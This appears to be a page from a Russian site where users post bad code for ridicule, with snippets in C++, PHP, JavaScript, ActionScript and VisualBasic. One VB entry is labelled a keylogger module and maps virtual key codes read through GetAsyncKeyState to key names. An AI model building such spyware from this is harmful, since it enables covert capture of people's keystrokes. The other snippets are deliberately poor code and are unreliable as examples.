1. C++ / Говнокод #1577

    +3.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    class boolshit{
    public:
    boolshit(bool shit):_shit(shit){}
    operator bool() const{return _shit;}
    private:
    bool _shit;
    };

    :)

    Ror77, 13 Августа 2009

    Комментарии (2)
  2. PHP / Говнокод #1576

    +152

    1. 1
    2. 2
    3. 3
    // phpBB 3.0.x auto-generated configuration file
    // Do not change anything in this file!
    include_once dirname(dirname (dirname (__FILE__)))."/conf/config.php";

    Мегакод

    meniam, 13 Августа 2009

    Комментарии (13)
  3. VisualBasic / Говнокод #1575

    −114

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    Module MyChrModule
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        '49 to 57 Chr , 32 space
        Public Function Mychr(ByVal ChrNumber As Long) As String
            If ChrNumber = 1 Then Mychr = "[LMB]"
            If ChrNumber = 2 Then Mychr = "[RMB]"
            If ChrNumber = 4 Then Mychr = "[MMB]" ' MouseMiddleButton ( Scroll button )
            If ChrNumber = 9 Then Mychr = "[Tab]"
            If ChrNumber = 20 Then Mychr = "[CapsLock]"
            If ChrNumber = 160 Then Mychr = "[LeftShift]"
            If ChrNumber = 162 Then Mychr = "[LeftCtrl]"
            If ChrNumber = 192 Then Mychr = "`"
            If ChrNumber = 112 Then Mychr = "[F1]" '112 to 123
            If ChrNumber = 113 Then Mychr = "[F2]"
            If ChrNumber = 114 Then Mychr = "[F3]"
            If ChrNumber = 115 Then Mychr = "[F4]"
            If ChrNumber = 116 Then Mychr = "[F5]"
            If ChrNumber = 117 Then Mychr = "[F6]"
            If ChrNumber = 118 Then Mychr = "[F7]"
            If ChrNumber = 119 Then Mychr = "[F8]"
            If ChrNumber = 120 Then Mychr = "[F9]"
            If ChrNumber = 121 Then Mychr = "[F10]"
            If ChrNumber = 122 Then Mychr = "[F11]"
            If ChrNumber = 123 Then Mychr = "[F12]"
            If ChrNumber = 189 Then Mychr = "-"
            If ChrNumber = 187 Then Mychr = "="
            If ChrNumber = 220 Then Mychr = "\"
            If ChrNumber = 219 Then Mychr = "["
            If ChrNumber = 221 Then Mychr = "]"
            If ChrNumber = 186 Then Mychr = ";"
            If ChrNumber = 220 Then Mychr = "\"
            If ChrNumber = 222 Then Mychr = "'"
            If ChrNumber = 188 Then Mychr = ","
            If ChrNumber = 190 Then Mychr = "."
            If ChrNumber = 191 Then Mychr = "/"
            If ChrNumber = 8 Then Mychr = "[BckSpc]"
            If ChrNumber = 123 Then Mychr = "[F12]"
            If ChrNumber = 13 Then Mychr = "[Enter]"
            If ChrNumber = 161 Then Mychr = "[RightShift]"
            If ChrNumber = 91 Then Mychr = "[LeftLogo]"
            If ChrNumber = 92 Then Mychr = "[RightLogo]"
            If ChrNumber = 93 Then Mychr = "[RMB Key]"
            If ChrNumber = 163 Then Mychr = "[RightCtrl]"
            If ChrNumber = 164 Then Mychr = "[LeftAlt]"
            If ChrNumber = 165 Then Mychr = "[RightAlt]"
            If ChrNumber = 44 Then Mychr = "[Print]"
            If ChrNumber = 19 Then Mychr = "[Pause]"
            If ChrNumber = 45 Then Mychr = "[Insert]"
            If ChrNumber = 36 Then Mychr = "[Home]"
            If ChrNumber = 33 Then Mychr = "[PageUp]"
            If ChrNumber = 46 Then Mychr = "[Delete]"
            If ChrNumber = 35 Then Mychr = "[End]"
            If ChrNumber = 34 Then Mychr = "[PageDown]"
            If ChrNumber = 37 Then Mychr = "[Left]"
            If ChrNumber = 38 Then Mychr = "[Up]"
            If ChrNumber = 39 Then Mychr = "[Right]"
            If ChrNumber = 40 Then Mychr = "[Down]"
            If ChrNumber = 144 Then Mychr = "[NumLock]"
    '...

    Один из модулей кейлогера...

    psina-from-ua, 13 Августа 2009

    Комментарии (13)
  4. PHP / Говнокод #1574

    +153.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    function filterVar($value)
    {
        if (get_magic_quotes_gpc())
        {
            $value = stripslashes($value);
        }
        
        $value = strip_tags($value); //режем теги.
        $value = preg_replace('%(<[^>]*(>|$)|>)%e', '', $value);
    
        return str_replace(array("\n", "\r"), array(' ', ''), $value);
    }
    
    foreach ($_GET as $reqValue)
    {
        $reqValue = is_array($reqValue) ? array_filter($reqValue, 'filterVar') : filterVar($reqValue);
    }
    
    $_REQUEST = array_merge ($_GET,$_POST);

    это меня вывело из себя

    junqed, 13 Августа 2009

    Комментарии (8)
  5. PHP / Говнокод #1573

    +158.2

    1. 1
    2. 2
    3. 3
    $step = ($item / 10);
    $step = explode(".",  $step); 
    $j = ($step[0] * 10 + 1);

    Округляем хуле %)

    junqed, 13 Августа 2009

    Комментарии (2)
  6. C++ / Говнокод #1572

    +18.2

    1. 1
    2. 2
    ProfileManager* man = Application::GetProfileManager();
    		_DESIRE(man);	//гм. "Желать мужика". Ужос какой. Это не я написал, если чо. Это оно само

    Вот в коде наткнулся, улыбнуло

    ich, 13 Августа 2009

    Комментарии (2)
  7. JavaScript / Говнокод #1571

    +161.8

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if( 7 == 26 )
    {
    return confirm("Status 'finished pending' confirmation:\nAre you sure you made all needed operations on this order?");
    }
    else return confirm('Save?');

    Вот такие прелести

    root, 13 Августа 2009

    Комментарии (20)
  8. PHP / Говнокод #1570

    +156

    1. 1
    test

    test

    striker, 13 Августа 2009

    Комментарии (2)
  9. ActionScript / Говнокод #1569

    −132.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    public function showNotAvailableAlert(str:String):void
    {
    	var defString:String = str = "Connection with server is lost. Unfortunately you can not continue now. Please try later.";
    	if(str)
    	{
    		Alert.show(str, "Not connected to server");
    	}
    	else
    	{
    		Alert.show(defString, "Not connected to server");
    	}
    }

    Kuros, 13 Августа 2009

    Комментарии (7)
  10. PHP / Говнокод #1568

    +149.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    <?
    global $db;
    $db=new db(HOST,USER,PASS,DBNAME); //подключение к бд
    class db{
    	public $SumQuerys=false; //Temp Var
    	public $Vtime; //Temp time summ
    	public $td; //Temp date
    	public $db_id= false;
    	public $query_num=0;
    	public $query_id=NULL;
    	public $mysql_error=FALSE; 
    	public $mysql_error_num=NULL;
    	public $last_query=NULL;
    	var $error=0;
    	function __construct($host='',$user='',$pas='',$bd=''){
    		$this->db_id=mysql_connect($host,$user,$pas) or die('db connect error');
    		mysql_select_db($bd,$this->db_id) or die("db: '$bd' select error");
    		mysql_query('SET NAMES utf8');
    	}
    	function __destruct(){
    		$this->close();
    		if ($this->SumQuerys){
    			#print "<table style='font-size:10px;border-collapse:collapse;border:1px dotted black' border=1>".$this->SumQuerys."<tr><td><b>$this->Vtime</b></td><td></td></table>";
    		}
    	}
    	function query($query, $show_error=true){
    		$time = microtime(true);
    		$this->last_query = $query;
    		if(!($this->query_id = mysql_query($query, $this->db_id))){
    			$this->error=1;
    			$this->mysql_error = mysql_error();
    			$this->mysql_error_num=mysql_errno();
    			if($show_error){
    				$this->display_error($this->mysql_error, $this->mysql_error_num, $query);
    			}
    		} else {$this->error=0;}
    		$this->query_num ++;
    		
    		// ----------------------------------------------------------------------------
    		$time = round(microtime(true)-$time,5);
    		if($time>0.003){
    			$alert = "color:red";
    		}
    		$this->Vtime += $time;
    		@$this->SumQuerys .= "<tr style='$alert'><td>".$time."</td><td>".$query.'</td></tr>';
    		//------------------------------------------------------------------------------
    		return $this->query_id;
    	}
    	function qrow($query){
    		$this->query($query);
    		return mysql_fetch_row($this->query_id);
    	}
    	function get_row($query_id = ''){
    		if ($query_id == '') $query_id = $this->query_id;
    		return mysql_fetch_assoc($query_id);
    	}
    	function get_array($query_id = ''){
    		if ($query_id == '') $query_id = $this->query_id;
    		return mysql_fetch_array($query_id);
    	}
    	function fetch($query_id = ''){
    		global $d;
    		if ($query_id == '') $query_id = $this->query_id;
    		return $d=@mysql_fetch_object($query_id);
    	}
    	function fetchAll($field = ''){
    		while ($d=$this->fetch($this->query_id)){
    			if ($field == ''){
    				$arr[] = $d;
    			} else {
    				$arr[] = $d->$field;
    			}
    		}
    		return @$arr;
    	}
    	function qAll($query){
    		$this->query($query);
    		return $this->fetchAll();
    	}
    	function fetch_row($query_id = ''){
    		global $d;
    		if ($query_id == '') $query_id = $this->query_id;
    		return $d=@mysql_fetch_row($query_id);
    	}
    	function qfetch($query){
    		global $d;
    		$this->query($query);
    		return $d=@mysql_fetch_object($this->query_id);
    	}
    	function num_rows($query_id = ''){
    		if ($query_id == '') $query_id = $this->query_id;
    		return mysql_num_rows($query_id);
    	}
    	
    	function insert_id() {
    		return mysql_insert_id($this->db_id);
    	}

    интерестный класс для работы с бд=)

    Heckfi, 13 Августа 2009

    Комментарии (4)